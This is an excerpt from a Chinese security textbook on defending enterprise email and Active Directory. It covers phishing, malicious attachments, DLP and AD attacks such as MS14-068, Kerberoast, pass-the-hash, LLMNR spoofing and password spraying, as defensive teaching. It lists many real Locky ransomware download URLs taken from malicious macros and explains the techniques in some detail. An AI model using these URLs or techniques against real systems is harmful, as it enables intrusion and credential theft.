图16-7 QQ邮箱SPF_DKIM_DMARC记录 一直到spf-a.mail.qq.com才能看到真实的IP地址,其主要原因是腾讯邮箱的服务器太多了,IP地址段 非常多,而include语法有长度的限制,所以这是需要关注的。这里还有个细节需要在运营的时候关注,IP 地址过多尤其是写网段的,随着IP地址的分配变化,有些IP已经不属于该业务或者该企业了,但SPF记录 如果未更新的话,可能会被别有用心的人利用。 配置好之后,有个在线网站可以帮你评估:www.mail-tester.com,它会出现一个随机的邮箱,从你的 邮箱发一封邮件过去,它就会自动评分,打对勾的表示测试通过,有扣分的会详细告诉你情况。 在邮件网关处对来源IP做SPF检查,可以有效阻断一些伪造的电子邮件,但在我们实际运营过程中, 发现有利用知名公司域名的子域来投递恶意邮件的,这个需要关注,比如有一天你收到来自 [email protected]的邮件,标题是与hotfix update相关的内容,你会点开吗? 16.2.4 邮件钓鱼 除了垃圾邮件外,邮件网关往往还会收到大量的钓鱼邮件,一般是在邮件中嵌入URL链接、img图 片、iframe框架甚至XSS代码等。针对此类问题,首先需要关注的是,邮件网关的钓鱼邮件防护能力;其 次是邮件系统在向用户展示邮件时对恶意代码的过滤能力;最后是终端及网络上的防护控制。 值得一提的是,在企业中主动对员工发起钓鱼邮件测试,也不失为一个好办法。一方面可以看看现 有邮件网关、邮件系统、终端、网络方面的安全防护能力到底如何;另一方面可以加强用户的安全意识 教育。 通过一定的技术手段,当被测试对象打开钓鱼邮件的时候,我们可以发现哪些人点击访问了这些特 意构造的链接,我们注意到有一个116开头的IP非常多,反查一下居然是某邮件网关厂商的IP。 这也间接证明,邮件网关还是在认真干活的,通过其云端机制请求了我们的URL,起到了有效的防 护作用。 16.2.5 恶意附件攻击 邮件网关一般都会集成杀毒引擎或云查杀功能对邮件附件进行检查,当发现病毒时进行隔离或做丢 弃处理。很多企业对上网控制得比较严,黑客通过发送带URL的钓鱼邮件很难奏效,所以我们在实际过 程中,更多是发现邮件带恶意附件的情况。结合笔者实际经验,我们将对抗分为几个阶段,从初级的可 执行文件,到脚本文件,再到Office/PDF等办公文档,同时在其中引入沙箱、情报、安全运营的概念,供 大家参考。 1.可执行文件与沙箱 某日,我们对入站邮件的附件进行分析,得到一个很惊人的数据—直接投递可执行文件的邮件占到 了恶意邮件的90%!于是我们开始针对exe、dll等可执行文件直接在邮件网关上进行过滤,凡是附件是可 执行文件的直接隔离,以暴制暴,猫和老鼠的游戏从这里开始!exe不行了就开始有压缩包,压缩包邮件 网关也还是能识别的,exe、dll没了,但还有好多可执行文件格式可以利用,图16-8是我们遇到的一起案 例样本。 图16-8 putty.zip样本图 邮件附件名是putty.zip,搞运维的同学都不陌生,点进去就是一个src屏保文件,双击就执行了。于是 游戏继续。某日,我们又发现一个附件是加密压缩包,而且将密码写在邮件中。将这个压缩包下载,输 入邮件正文中的密码进去发现是个CPL的文件,如图16-9所示。 图16-9 带密码的恶意样本 这个CPL双击也是可以执行的,执行之后会启动Word打开一个doc文档,大约4分钟后会与外部通 信。带密码的网关默认是没法解密了,不过也还是有办法,如果发现附件是加密的,但同时又在邮件正 文中出现密码、password等关键字,可以在邮件网关上做进一步的处理。现在市面上有一些网关号称可以 提取邮件中的密码对压缩包进行解密,也可以实际测试一下效果和性能。 针对可执行文件,除了依靠邮件网关防护外,建议有条件的企业接入沙箱:一种是将邮件流量丢给 沙箱设备;另一种是直接将邮件网关和沙箱集成。这样的好处是,当发现邮件网关防护失效后,还可以 依靠沙箱进行发现,并且可以不断通过查漏补缺的方式提升现有邮件网关的安全防护能力。 某日,我们又发现漏放进来了几封邮件,居然还是.7zip的压缩包,里面赤祼祼的还是一个可执行文 件。经过不断测试发现,7-zip有四种压缩方式,而现版本的邮件网关居然只支持其中一种压缩方式,其 他三种都无法正常检测。这算是一个坑,经过验证,大版本升级后能解决,但这个细节还需要引起大家 的注意。针对压缩包进行检测的场景,邮箱入站检测、后端沙箱、出站检测都会涉及,不支持就意味着 有被突破的风险。还有一些产品,默认有一些参数,比如针对大的Office、PDF可能不会进行检查,也需 要引起关注,在产品测试选型阶段就要搞清楚,以便采取针对性的措施或方案进行弥补。 2.脚本文件 除了可执行文件,邮件网关还会接触到各种各样的脚本文件,比如JS、JSE、VBS、VBE文件。我们 以JSE(JScript Encoded Script)为例说明。为什么JSE双击就可以运行,其实这与操作系统的环境变量设 置有关,如图16-10所示。 图16-10 JSE环境变量设置 从图16-10可以看出,VBS、VBE、JS、JSE等文件可以直接被执行。 注意: 如果终端机器不需要执行各种脚本,可以直接在环境变更里做修改进行适当的屏蔽。 下面是我们从真实环境中抓到的一些样本截图,比如图16-11是JSE的勒索病毒样本。 这个JSE并非真正被微软加密过的JSE文件,而是病毒作者自己用了各种技术写成的一个脚本。仔细 分析,可以得知脚本经过混淆和加密—一个是变量加长混淆;一个是关键函数加密。变量加长的前缀为 wololosampsonFROG2或者Wololosampson。针对此类的变种,基本的思路是替换,将 wololosampsonFROG2替换为空,然后将Wololosampson替换为空,得到的结果如图16-12所示。 这时候余下的就是作者自定义的加密函数了,考验人耐心的时候到了。图16-13是真正解密后的关键 代码,为了方便大家看懂加入了一些注释。 整个脚本的流程就是访问特定URL下载病毒文件并执行,这里下载后的文件是加密的文件,需要解 密后再执行,最后的效果是在感染机器上启动浏览器,打开页面如图16-14所示。 随着PowerShell的流行,我们也抓到下面这样一个JS样本,原始邮件内容如图16-15所示。 图16-11 JSE源码图 图16-12 JSE源码初步解密效果图 图16-13 JSE解密效果 图16-14 JSE勒索截图 图16-15 JS_PowerShell_邮件截图 打开这个附件里面是一个JS,有700多行的代码,包含各种内部加密组合,放到虚拟环境直接看效 果,如图16-16所示。 这个JS最终的目标是调用PowerShell去下载后门并执行,此处不再赘述。邮件网关的对策依然是过 滤,各种可能有危害的可执行文件、脚本基本在这里被清理得差不多了。 图16-16 JS_Action_360简单沙箱 3.办公文档与情报 随着前面的不断查漏补缺,可执行文件和脚本算是先告一段落,后面更多是Office和PDF了。在这个 阶段,重点还是在运营。沙箱的事件开始跟SOC对接,SOC事件每天有人跟进,进而沙箱系统和情报实 现对接,将可疑文件送到情报系统做进一步的检测;发现问题后需要配套的快速处理方法,都有不少工 作需要做。我们再看一起批量恶意邮件攻击的案例。某个周未,某企业SOC风险展示平台上报出大量沙 箱事件,事件类型为HEUR:Trojan-Downloader.Script.Generic,于是安全团队开始进行分析。从后台导出 具体事件,经过一些过滤去重,最后发现有529笔事件,有以下规律: ·邮件主题为"Document From***"。 ·发件人为"Accounts@***"。 ·附件为"I-****.doc"。 ·发件主机名多为随机字符串或一些单词的随机组合。 部分信息统计截图如图16-17所示。 图16-17 批量邮件攻击_宏 对其中一个样本进行分析,发现Word带有宏,代码如图16-18所示。 图16-18 Office宏代码 从中得到2个恶意文件下载链接:http://rtozottosdossder.net/af/JbhbUsfs和http://nan- cywillems.nl/JbhbUsfs。当务之急是清理恶意邮件,并对恶意域名和URL进行屏蔽处理。将样本发给外部 情报公司对文件和URL进行更深入分析,得到以下结果: ·word样本包含恶意的宏,执行后会从网站http://actt.gr/JbhbUsfs下载一个payload。 ·经过威胁分析平台分析,actt.gr属于失陷网站。 ·经过情报库的关联分析,确认了这个payload为Locky家族,属于勒索软件。 ·黑客画像系统已经监测到大批量攻击行为,类似的Locky下载站点还有非常多,比如: http://2-wave.com/JbhbUsfs http://6tricksguides.com/JbhbUsfs http://accuflowfloors.com/JbhbUsfs http://actt.gr/JbhbUsfs http://acurcioefilhos.pt/JbhbUsfs http://aegeanlab.gr/JbhbUsfs http://cancortes.com/JbhbUsfs http://carriereiserphotography.com/JbhbUsfs http://grossert.de/JbhbUsfs http://indiasublime.in/JbhbUsfs http://nancywillems.nl/JbhbUsfs http://seoulhome.net/JbhbUsfs http://swangroup.net/JbhbUsfs 现在外面的情报公司提供了这些URL是否全面?经过对这529封邮件附件逐一排查,通过脚本导出所 有附件宏代码并抓取关键字,发现还有一些漏网之鱼: http://darca.info/JbhbUsfs http://nerdydroid.com/JbhbUsfs http://campuslinne.com/JbhbUsfs http://ach-wie.net/JbhbUsfs http://musicphilicwinds.org/JbhbUsfs http://eselink.com.my/JbhbUsfs http://love.chuanmeiker.com/JbhbUsfs http://gardenconcept.pl/JbhbUsfs http://cagliaricity.com/JbhbUsfs 带有宏的文档可以在邮件网关上进行处理,除了宏文档外,还有一些不需要依赖宏的,比如利用 Office或PDF漏洞的。 2017年Office漏洞层出不穷,各大安全媒体经常会有新发现了某个漏洞正被利用的报道,一般都是这 些漏洞刚公布的几天内邮箱就会收到类似的攻击附件。下面这个案例是我们捕获的某个利用DDE漏洞的 样本,通过脚本提取其特征代码如图16-19所示。 图16-19 Office文档DDE漏洞利用代码 建议有条件的企业,沙箱与情报系统联动起来,图16-20为该样本自动对接情报后的效果图,虽然只 有3家能查杀,但CVE-2017-0199已经清晰写上了。 有了恶意URL,常规做法就是屏蔽,效果图如图16-21所示。 针对遗漏的已经投递进来的有问题的邮件,如何快速删除,且尽可能让用户无感知,也是一个需要 关注的问题。如果每次都是联系邮件管理员在后台手工处理,那就不那么高大上了。建议的做法是在平 台上与邮件系统接口对接,调用邮件系统删邮件的接口进行处理,这中间又涉及一些平衡,比如系统或 操作问题导致大批量误删,责任就需要明确了。针对URL屏蔽这块,如果企业规模较大,各分公司都有 自己的上网出口,怎么快速将这些URL分发下去拦截,又是另外一个话题了。总之,尽可能自动化、一 键化,同时又要考虑到操作风险。 16.2.6 入站防护体系小结 前面涉及一些具体的案例和场景,介绍得相对零散。笔者建议的邮件入站防护技术体系是前面通过 NGFW做一层基本的过滤,再由邮件网关启用反垃圾、防病毒、防钓鱼等进行过滤,将可疑或特定类型 的附件集成到沙箱去分析,最后在邮件系统上启用一些过滤或杀毒功能,图16-22为邮件防护体系示意 图。 图16-20 自动提交到情报分析的结果 图16-21 URL封禁效果图 有条件的企业建议全局禁止POP3、IMAP协议,防火墙上仅开放到邮件网关的SMTP以及邮件系统的 HTTPS。NGFW的防护范围和控制精度比传统防火墙大大增加,可从应用、用户、内容、时间、威胁、 位置六个维度进行一体化的管控和防御。在NGFW中启用垃圾/病毒邮件的过滤功能,利用下一代防火墙 的高性能,对邮件进行初步过滤,提高垃圾/病毒邮件的处理效率。在部署下一代防火墙时,需要重点考 虑以下事宜: 图16-22 邮件防护体系示意图 ·在开启垃圾/病毒邮件过滤功能的情况下,依然能保持高性能。 ·支持对SMTP、POP3、IMAP传输文件进行病毒检测。 ·NGFW上有预置接口,能够将截获的可疑邮件发送至外部的垃圾邮件网关或安全沙盒,做进一步的 分析。 邮件网关本身就有一些过滤功能,包括针对邮件内容中的URL,甚至对邮件附件内容做一些简单的 过滤。邮件URL过滤是内置功能,启用即可;而邮件附件内容需要做一些配置。按照经验,将可执行文 件、脚本类文件进行过滤或隔离,可以显著减少用户中招的风险。在邮件系统上启用杀毒功能也是一种 选择,有时候出于可用性考虑,邮件系统管理员不一定接受该方案。 当然,可能还是会有遗漏进来的问题邮件,这个时候轮到沙箱上场了,如果邮件网关有直接集成沙 箱的功能最好,没有的话可以将邮件网关发送到邮件系统的流量镜像给沙箱设备,沙箱对流量分析附件 进行还原再做分析,有问题的文件产生告警,告警需要有人跟进处理。建议直接对接邮件系统,对已经 放过的有问题邮件进行删除处理。 黑客不一定从外部投递邮件,如果某台终端被控制,那么发送问题邮件的人可能也是内部员工,内 部邮件可能直接通过邮件服务器,不会到邮件网关和沙箱上进行分析。这种情况需要在邮件系统和终端 上做工作,邮件系统一般都有恶意网页代码过滤的功能,必须开启。 16.3 出站安全防护 站在恶意内部人员的视角,他需要将一份敏感资料拿走。这资料可能是某某系统的设计文档及源代 码,也可能是从生产系统导出来的客户资料,也可能是内部的规章制度,也可能是内部员工通讯录等 等,总之就是想要拿出去,而邮件外发是个很好的通道。 1.邮件外发审计与拦截 有敏感数据保护要求的企业会针对邮件外发启用DLP进行拦截或检测,有些企业做得更加严格,外 发邮件权限还需要审批,默认不能外发邮件。 邮件外发检测,一种是基于流量的旁路检测,即将邮件流量镜像到DLP设备,DLP根据相应的策略对 邮件流量进行分析,此方案最大的好处是不改变网络结构,但遇到SMTP启用TLS加密就不行了。还有一 种是将邮件路由到MTA,在MTA上进行检测,然后再发出去。更多关于邮件DLP的相关技术,我们在第 14章已经讲过,就不再赘述。 在实际运营过程中,需要关注的是敏感邮件外发的检测策略是否都能生效?是否有自动化的验证以 保障有效性?敏感邮件拦截后的处理流程是走审批还是外发加密处理?DLP事件处置如何跟进,怎么闭 环?这些问题都需要细细考虑,由于各企业内部组织结构、管理方式都不一样,也没有一个统一的标 准。图16-23是针对DLP模块的自动化验证事件。 图16-23 自动化验证事件 自动化验证事件由程序自动发起,模拟发送能触发不同规则的邮件,查看邮件网关DLP功能是否根 据所设定的正常起到拦截、审计、加密外发等功能。 而DLP事件的跟进、调查和处置,更多是融合了流程管理,最终目的是使事件收敛,使已有事件形 成闭环。 2.TLS通道加密 SMTP在网络上是明文传输的,不怀好意的人可以在网络上截获并发现邮件中的秘密。主流的方案是 启用TLS对通道进行加密,比如一些境外组织(如VISA)会强制求邮件走TLS通道加密。现在主流的邮 件网关都支持TLS通道加密了,只是在实际使用过程中,各家的方案不一样。有的需要指定域名路由;有 的可以做到自适应—对方邮件服务器如果支持TLS则走TLS通道,如果不支持TLS则走明文,这的确不失 为一个好办法。 3.禁止自动转发 邮件系统通常都提供了自动转发功能,员工为了工作方便,可能会将自己企业邮箱收到的邮件自动 转发到外网邮箱(例如QQ邮箱)。 以常用的exchange为例,如果用户配置了自动转发而且没有勾选“Keep a copy of forwarded messages”之类的选项,邮件将直接转发出去,本地邮件系统是不会留档的。 为防止敏感信息泄露,我们需要禁止自动转发功能,并对其重点监控。如何禁止,微软博客上有详 细的文章供读者参考[1]。图16-24展示了在Exchange管理控制台上的设置界面。 图16-24 Exchange管理控制台设置禁用自动转发 怎么确认禁止自动转发生效了?除了测试之外,还建议在网络上对SMTP流量进行检查,看数据包里 是否包含X-Auto-Forward特征字样,如果有就表示还存在漏网之鱼。 4.禁用ActiveSync协议 移动设备自带客户端收取邮件也很普遍,但风险也很大。一方面,通过这种方式收取邮件,会因邮 件系统后台记录不完善导致事后很难追查;另一方面,邮件附件直接存在设备上,基本上处于完全失控 状态。 移动设备自带邮件客户端基本都要利用ActiveSync协议,建议有条件的企业可以自行开发APP对接邮 件系统,这样就可以直接禁用ActiveSync协议了。禁用默认协议,在服务级别禁用比较省事,但有时候会 遇到一些特殊场景,比如海外分支机构要按当地监管要求不允许使用总部统一开发的APP,需要视情况而 定,可以针对性地按用户进行限制,如图16-25所示。 图16-25 用户级别限制ActiveSync协议 5.自己发给自己或存草稿 禁止了自动转发和ActiveSync协议,对邮件外发做了DLP检测与拦截,但还不够。因为聪明的员工会 利用自己发给自己、存草稿等功能,在公司将文档发到邮件系统,在家通过邮件系统下载,绕过DLP审 查。 针对此类问题,我们建议的方案是:对邮件附件进行大小限制,防止大批量泄密;对自己发给自己 然后在公司外部下载的行为进行重点监控,必要时将文件提取分析。 6.出站防护体系小结 笔者建议的邮件出站防护技术体系是:首先,在邮件系统上进行配置,将一些诸如自动转发、 ActiveSync协议等禁用;其次,通过邮件网关开启DLP功能,对外发邮件进行拦截或审计;最后,通过对 网络流量进行检测以确保策略生效。在运营上应重点关注DLP策略的有效性、事件处置的闭环。 [1] 链接:https://blogs.technet.microsoft.com/exovoice/2017/12/07/disable-automatic-forwarding-in-office-365- and-exchange-server-to-prevent-information-leakage/。 16.4 整体安全防护体系 考虑到入站和出站的侧重点完全不同,建议有条件的企业将入站和出站网关分开,同时为实现高可 用性采用F5负载均衡设备,如图16-26所示。 图16-26 整体防护邮件网关示意图 一封恶意邮件从外面投递过来,经过邮件网关、邮件服务器到达了用户终端,如何确保终端用户不 中招又是另一个大工程,涉及防火墙/上网行为管控、终端防病毒/EDR、信誉/沙箱、外部情报分析对接 等。 现在有很多厂商都有整套的解决方案,从邮件,到终端,再到上网,结合信誉、沙箱、情报分析 等,思科公司的整体方案如图16-27所示。 图16-27 思科AMP方案 还有一些厂商另辟蹊径,从数据的视角切入,提供从邮件,到网络,再到终端的方案,天空卫士的 整体方案如图16-28所示。 图16-28 天空卫士解决方案 此类方案如果落地,需要关注一点,即整体方案往往意味着在终端、邮件、网关都用其设备,否则 联动效果会打折扣。而对于一些已经有一定基础安全建设的企业来说,全部更换成本略高。建议选择适 合自己企业的方案,结合不断的运营优化,提升安全能力才是正道。 16.5 小结 邮件安全包括由内向外、由外向内的双向控制,由于攻击者的目的不一样,安全防范的侧重点也不 一样,需要从整体着眼、小处着手,做好各个层面的安全控制。 第17章 活动目录安全 为了对企业内部计算机、用户等资源进行统一管理,微软提出了活动目录(Active Directory,AD) 的解决方案,不同于传统的工作组模式,它最大的优点是可以集中管理,包括统一身份认证、权限控制 等,方便管理的同时,其安全性如何呢?本章将重点探讨活动目录安全相关话题。 17.1 背景 2018年上半年,出现了某保险公司企业内网AD和Exchange服务器被入侵的事件,从目前披露的信息 来看,全网数量接近30台的域控制器均被入侵,而且木马通过AD疯狂传播,全网中绝大部分Windows服 务器和客户端均中招。木马自带挖矿功能并反向连接国外C&C服务器,使用多个Windows Update相似域 名来规避监测,基本过程总结如图17-1所示。 图17-1 某企业AD被入侵过程 未知攻,焉知防。针对活动目录安全,下面先对常见的攻击方式进行讲解,然后再讲如何针对性地 防御。 17.2 常见攻击方式 攻击者通过邮件钓鱼等方式控制内网一台机器,之后会进行各种试探,最终目标基本都会到活动目 录,因为这里有全部用户信息。内网攻击手法多种多样,我们先从最简单直接或者最不容易被发现的方 式开始逐步介绍。 17.2.1 SYSVOL与GPP漏洞 SYSVOL为域内共享文件夹,里面保存着与组策略相关的信息,例如登录或注销脚本、组策略配置 文件等,域内主机都能访问。域管理员在使用组策略批量管理域内主机时,如果在脚本或配置中引入用 户密码,则会产生安全问题。 一种是写在登录脚本中的明文密码,例如图17-2所示的这个VBS代码来源于微软官方网站。 图17-2 微软官网修改本地管理员密码示例代码 通过对SYSVOL目录搜索vbs、ps1后缀的文件,很快就能找到相应的脚本文件,打开即可发现其中密 码。 还有一种是在组策略首选项里输入了用户名密码,例如,同样是修改本地内置管理员密码,在首选 项里也可以进行配置,如图17-3所示。 最后在相应的组策略文件夹下,有一个xml配置文件包含了以上信息,如图17-4所示。 虽然密码通过AES 256进行了加密,但这个密钥是公开在微软官网上的,所以也很容易解密。网上有 针对性的利用脚本,可以快速获取SYSVOL目录各类配置文件中的密码,我们提取其解密函数直接利用 即可。 注意: 除了修改本地管理员密码这个场景外,需要输入密码的地方还包括数据源、计划任务、服务等。 图17-3 组策略首选项输密码 图17-4 SYSVOL利用首选项密码 针对GPP漏洞,微软发布了KB2962486补丁,在配置组策略的机器上打上相应的补丁后,组策略中设 置用户名密码的地方是灰色的无法使用。但登录脚本中的明文密码,有人要输微软也拦不住,所以还是 需要关注这个问题。 17.2.2 MS14-068漏洞 活动目录使用Kerberos协议作为身份认证,其工作原理如图17-5所示。 图17-5 Kerberos工作原理 整个验证过程由三种类型的消息交换组成:验证服务交换,票据授予服务交换,客户端/服务端交 换。验证服务交换包括AS-REQ和AS-REP消息,该验证服务交换在用户登录或者票据授予票据(TGT) 过期时发生。票据授予服务交换包括TGS-REQ和TGS-REP消息。客户端/服务端交换包括AP-REQ和AP- REP消息,其中AP-REP为可选消息。三类交换的详细验证过程如下: 1)AS-REQ。用户向密钥分发中心(KDC,也就是图17-5上的域控)的验证服务申请TGT(Ticket Granting Ticket)。消息包括用户主体名称、域名和预认证信息。该预认证信息是利用用户密码生成的 NTLM HASH。 2)AS-REP。验证服务会生成TGT,并生成一个会话密钥(Session Key)。KDC在收到AS-REQ消息 之后,将从数据库中获得该用户的密钥,然后利用该密钥解密预认证信息,验证用户。验证通过后,会 生成TGT和会话密钥。该会话密钥又称登录会话密钥,是用户与KDC共享的。TGT中包括登录会话密钥 和PAC(特权属性证书)。TGT用KDC的密钥加密,登录会话密钥用用户密钥加密,最后返回给用户。 3)TGS-REQ。如果用户想通过身份认证来访问某个服务(例如IIS),那么会发起TGS-REQ请求, 请求中包含TGT以及所请求服务的服务主体名称(Service Principal Name,SPN)。用户收到AS-REP消息 之后,利用用户密钥解密登录会话密钥,在证书缓存中保存登录会话密钥。用户准备一个用登录会话密 钥加密的认证器(authenticator),连同TGT和服务主体名发送给KDC。 4)TGS-REP。TGS生成服务票据。KDC收到TGS-REQ消息之后,首先用自己的密钥将TGT解密,获 得登录会话密钥,然后用它解密认证器,验证用户的有效性。当用户通过验证之后,KDC会生成一个用 户与服务共享的会话密钥和一个服务票据。服务票据中包含用户与服务共享的会话密钥的副本和用户 PAC,该票据用目标服务账户的NTLM密码哈希进行加密。而会话密钥用登录会话密钥加密。KDC最后 将两者返回用户。 5)AP-REQ。用户将服务票据和新的认证器发给服务端,申请访问。用户在收到TGS-REP消息之 后,用登录会话密钥解密用户与服务共享的会话密钥,并将该会话密钥保存在证书缓存中。然后,用户 准备一个用会话密钥加密的认证器,连同服务票据和一些标志位发送给服务端。 6)AP-REP。可选,当用户希望验证提供服务的服务端时,服务端返回该消息。服务端收到AP-REQ 消息之后,会用服务的密钥解密服务票,获得会话密钥,然后利用会话密钥解密认证器获得时间戳,最 后验证用户。用户验证通过之后,服务端会生成访问令牌。同时,服务端会检查相互验证标志位是否置 位,假如置位,则会利用从认证器中获得的时间戳生成一个新的认证器,然后用会话密钥给认证器加 密,最后返回给用户。 7)用户收到AP-REP消息之后,会用会话密钥解密认证器,验证服务的正确性。除非需要PAC验证 (比较少见),目标服务会接受TGS票据中的所有数据,否则,不需要与KDC进行通信。 TGT默认保存在内存里,而且有效期为10小时。如果攻击者拿到了用户的TGT,并将其导入自己的 内存,就可以冒充用户获得访问权限,这种攻击方法又叫票据传递(Pass The Ticket,PTT)。微软在 2014年爆出一个高危漏洞CVE-2014-6324(对应微软为MS14-068),即KDC服务器无法正确地验证签 名,导致一些kerberos服务票据被伪造。如果想通过伪造票据可以直接将普通的域用户变成域管理员权 限,结合网上利用工具,非常简单,如图17-6所示。 图17-6 MS14-068利用过程 这个过程中最显著的特点就是向KDC请求的数据中没有PAC,导致KDC在生成PAC的时候使用了域 用户密码进行MD5而不是HMAC-MD5,然后KDC在内部处理出现问题,生成了一个新的TGT,之后,将 伪造的PAC插入自己的授权数据中,之后,将这个TGT发送给用户。这样用户就获得了域管理员权限。 上面的脚本完成了整个过程并生成了一张伪造的缓存文件,利用Mimikatz将它导入系统内存,就可以以 域管理员身份访问域服务器,如图17-7所示。 图17-7 MS14-068成功获取域控权限 网上有更方便的利用程序,一步到位直接得到域控管理员权限的cmdshell,可以说只要存在这个 MS14-068漏洞,黑客可以在几分钟内拿下域服务器。 针对MS14-068这个高危漏洞,微软发布了KB3011780补丁,打上补丁后就无法被攻击者利用了。 17.2.3 Kerberoast攻击 任何通过Active Directory验证的域用户都可以查询具有服务主体名称(SPN)的用户账户。这使得攻 击者能够访问网络上的计算机,并能够确定支持Kerberos身份验证的所有服务账户及其用途。 在图17-5所示的Kerberos工作流程里,黑客可以使用有效的域用户的身份验证票据(TGT)去请求运 行在服务器上的一个或多个目标服务的服务票据。DC在活动目录中查找SPN,并使用与SPN关联的服务 账户加密票据,以便服务能够验证用户是否可以访问。请求的Kerberos服务票据的加密类型是 RC4_HMAC_MD5,这意味着服务账户的NTLM密码哈希用于加密服务票据。黑客将收到的TGS票据离线 进行破解,即可得到目标服务账号的HASH,我们把这个称为Kerberoast攻击。黑客进行此类攻击,一般 会先进行SPN扫描,特别关注MSSQL、Exchange等服务,如图17-8所示。 图17-8 SPN扫描示例 然后尝试请求并将TGS返回数据进行字典暴力破解,配合Mimikatz进行PTT攻击。 ·此类攻击效果非常好,主要有以下几个原因: ·大多数服务账号不会设置密码的有效期,即很长时间内都不会修改。 ·大多数据服务账户的权限控制都不够严格,通常情况下这些账户还是域管理员组的成员。 ·域内用户都可以从TGS处请求服务票据,SPN扫描不需要连接到网络上的每个IP来检查服务端口, 它通过LDAP查询向域控执行服务发现,而正常域内用户都会有TGS请求服务票据,不会产生大量流量和 告警事件,比较难以发现。 ·一旦取得相应的TGS票据,就可以进行离线暴力破解。 17.2.4 内网横移抓取管理员凭证 当黑客控制了内网一台机器后,往往会想办法获得域管理员凭证。通过所控制的机器,进一步定位 域管理员信息,例如,当前域管理员账号有哪些,谁是真正的域管理员,在哪登录过等。 比较常用的办法是抓本地密码,一旦域管理员在本地登录(包括使用runas或远程桌面连接),都能 轻松地抓取到,如图17-9所示。 图17-9 抓取本地用户密码 除了抓取外,还可以使用键盘记录类程序来记录输入的账号密码。如果在所控制的机器上没有抓到 管理员密码,黑客往往会在内网进行更多的尝试,也就是我们经常说的“横向移动”,一般的步骤如下: 1)获得一台域主机的权限。 2)Dump内存获得用户hash。 3)通过pass the hash尝试登录其他主机。 4)继续搜集hash并尝试远程登录。 5)获得域管理员账户hash,登录域控,最终成功控制整个域。 黑客在内网多台机器上跳来跳去,看上去非常复杂,但网上有很方便的工具(例如CEW),通过扫 描C段来发现有哪些机器,定位哪些机器当前账号有权限访问,哪些机器共享了文件,哪些机器域管理员 登录过并将hash给dump下来,有了hash就可以进行传递哈希攻击了(pass the hash,PTH)。 在大多数企业内,为了方便管理,很多机器的本地管理员密码是一样的,甚至安装系统都是用的同 一个模板。对终端用户进行了权限控制的企业,往往需要为终端用户提供一些支持服务,例如,为用户 安装软件,通常都是用域管理员权限来进行安装,所以上面介绍的方法的成功率会比较高。一些聪明的 攻击者甚至会故意破坏一些文件;导致诸如Office软件不正常,诱使域管理员在该机器上登录。 针对域内计算机本地管理员密码一致带来的安全问题,有的企业在组策略里用脚本修改本地管理员 密码,通过一定的算法来生成本地密码,例如按计算机名、年份+月份、计算机序列号等算法,这也是一 个折中的方案,如果能用上一些加密保护措施(如微软PowerShell中的ConvertTo-SecureString)对密码进 行保护就更好了。另外,微软公司在这块也做了不少努力,从Windows XP的不允许禁用默认管理员,到 Windows 7可以允许用户禁止,再到Windows 10的默认禁止,还提供了LAPS方案[1]。 [1] 关于 LAPS 更多介绍见微软官网:https://technet.microsoft.com/en-us/mt227395.aspx。 17.2.5 内网钓鱼与欺骗 对处于同一个网段内的目标,攻击者可能还会采用ARP欺骗、DHCP欺骗等中间人攻击技术。 我们都知道当请求一个地址时,先会看本地配置文件,如hosts中是否有记录,没有再会去检查本地 DNS缓存,还没有就去向DNS请求。如果DNS名称解析失败了呢?微软从Vista开始新增了链路本地多播 名称解析(LLMNR)技术,即当DNS名称服务器请求失败时,系统就会通过LLMNR或Net-BIOS名称服 务(NBT-NS)技术进行请求查询,这个过程即是向网络中发送广播包。如图17-10所示,尝试随便Ping一 个地址xyz123,会触发DNS请求,DNS查询不到会有NBNS数据包。 图17-10 NBNS与LLMNR查询 如果这个时候攻击者侦听网络流量并主动响应,就会有相应的流量送往攻击者所控制的机器。 Web代理自动发现(Web Proxy Auto-Discovery,WPAD)协议,本意是为了方便用户上网而无须配 置代理服务器,它会使用DHCP和DNS发现方法来定位配置文件的URL。如果配置不当,在DHCP和DNS 都没有成功的情况下,会用到LLMNR和NBNS查询,如图17-11所示。 图17-11 WPAD查询机制数据包 Responder是一个非常著名的中间人利用工具,使用非常方便,针对那些没有禁用LLMNR和NetBIOS 的计算机,可以欺骗目标访问到Responder提供的SMB或者HTTP服务。SMB有个特点,即当用户在资源 管理器里访问类似\\IP\File的时候,会默认将当前用户密码凭证送到SMB服务进行认证,失败了才会弹出 需要输用户密码的对话框,但此时SMB服务器已经收到了相应数据,通过抓包即能获取到用户凭证。有 了这个凭证,再进一步利用Hashcat等工具进行破解就有可能得到能利用的用户密码。 在实际渗透过程中,往往会配合钓鱼进行,例如,在共享上放置特殊的目录,当用户点到这个目录 的时候会自动请求攻击的SMB;在doc里插入文件,然后将相应的链接改为UNC路径,通过内网邮件发送 给对方;利用PDF的GoTobe和GoToR功能,让对方打开PDF时自动请求SMB服务器上的文件等。一般企 业内部员工看到内部的邮件或公用共享文件夹都会放松警惕,当点开之后,当前用户密码登录凭证已经 被人拿到[1]。 针对内网欺骗或中间人攻击,比较有效的方案是:MAC绑定,禁用LLMNR和Net-BIOS,启用SMB 签名,配置好WPAD相应的DNS记录等。 [1] 关于这方面的攻击手法非常多,感兴趣的读者可以访问:https://osandamalith.com/2017/03/24/places-of- interest-in-stealing-netntlm-hashes。 17.2.6 用户密码猜解 如果黑客所控制的机器实在没什么利用价值,它还会尝试其他方式,例如,密码猜解以及钓鱼欺骗 等。 域里的账号,一般会设置账号安全策略,例如密码长度、锁定次数等,暴力破解容易触发锁定机制 从而被发现,于是有了密码喷洒(Password Spraying)技术。喷洒这个词语很形象,当攻击开始时,往往 会从列表中的第一个密码开始。第一个密码用于尝试对活动目录中的每个用户进行身份验证。针对活动 目录中的每个用户,攻击者都会尝试用这个密码进行登录,当所有用户都使用该密码进行了测试后,就 会自动转到下一个密码,执行重复的测试。假设活动目录中的每个用户的测试上限次数为5次,那么攻击 者会为每个用户进行4个不同密码的尝试,直到锁定计算器时间超了再继续。 密码喷洒通常连接到SMB共享或网络服务,笔者用Nmap自带的smb-brute插件对域控的SMB进行请求 测试,效果图如图17-12所示。 图17-12 smb-brute插件暴力破解示例 当对AD进行了配置—仅发送NTLMv2响应,拒绝LM和NTLM,以上脚本可能就失效了,但此时ldap- brute插件还是生效的,如图17-13所示。 图17-13 ldap-brute插件暴力破解示例 当发生以上暴力猜解密码时,域控服务器就会默认产生大量的登录失败事件(事件ID为4625),如 果开启了相关的审核策略,还会有大量的凭据验证失败事件(事件ID为4776)。需要对此类事件进行监 控,并进行关联告警,这样就能很快定位到内网的攻击源。 17.2.7 获取AD数据库文件 当拿到域管理员权限后,攻击者往往会导出所有用户HASH便于进一步利用,比较常用的方法包括用 